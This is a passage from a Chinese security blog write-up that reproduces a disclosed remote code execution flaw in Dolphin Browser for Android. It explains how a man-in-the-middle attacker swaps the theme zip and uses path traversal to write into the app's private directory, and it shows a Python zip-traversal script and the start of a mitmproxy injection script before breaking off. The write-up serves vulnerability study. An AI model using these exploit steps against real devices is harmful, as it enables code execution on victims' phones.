小荷才露尖尖角2015/08/31 9:44 0x00 简介 最近国外安全研究人员rotlogix连续曝光了安卓版海豚浏览器(dolphin browser)和水星浏览器(mercury browser)的安全漏洞[1,2],尽管这两个浏览器在国内并不流行,但其中的远程攻击手法和一系列漏洞组合的利用颇值得玩味,于是对这两个漏洞进行了复现和学习,分享与大家共同进步。 0x01 海豚浏览器远程代码执行漏洞 该漏洞可以看作前段时间三星自带Swift输入法远程代码漏洞的延伸,不同之处在于通过中间人攻击patch了so文件,在so文件中的JNI_OnLoad函数中添加恶意代码,当so被加载后有机会实现远程代码执行。此次测试的海豚浏览器版本为V11.4.17。 1. 漏洞原理 海豚浏览器允许用户选择并应用主题来改变浏览器的外观,当用户选择新主题下载时,主题文件会被下载 GET https://opsen-static.dolphin-browser.com/resources/themestore/Alonso_P.dwp 主题文件实际是一个zip文件,对其重命名后查看内容如下: 由于海豚浏览器并未对解压的文件进行验证,且安卓系统zip库的默认行为是允许解压文件到所在目录之外,因此通过中间人攻击,修改HTTP请求返回主题文件zip包中的内容,可以实现在海豚浏览器拥有权限的目录写文件。 注意到我们测试的版本与原文有所不同,下载主题文件的链接是https,但其SSL也没有正确实现,因此依然也能通过中间人攻击成功。 2. 漏洞利用——在私有目录写文件 漏洞利用需要通过中间人攻击,将手机的流量透明代理到运行mitmproxy的服务器上。首先,利用python制作一个修改后的主题文件,即将同目录下名为1的文件添加到主题文件zip包中,且文件名为../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/this_should_not_exsist #!python import zipfile zf = zipfile.ZipFile("Alonso_P.dwp", "a") zf.write("1", "../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/this_should_not_exsist") zf.close() 修改后的主题文件如下 接下来,编写一段mitmproxy的inline script inject_evilso.py,将下载返回的主题文件替换成我们修改后的主题文件。 #!java from libmproxy.protocol.http import HTTPResponse from netlib.odict import ODictCaseless def request(context, flow): if not flow.request.host =="opsen-static.dolphin-browser.com" or not flow.request.path.endswith(".dwp"): return […]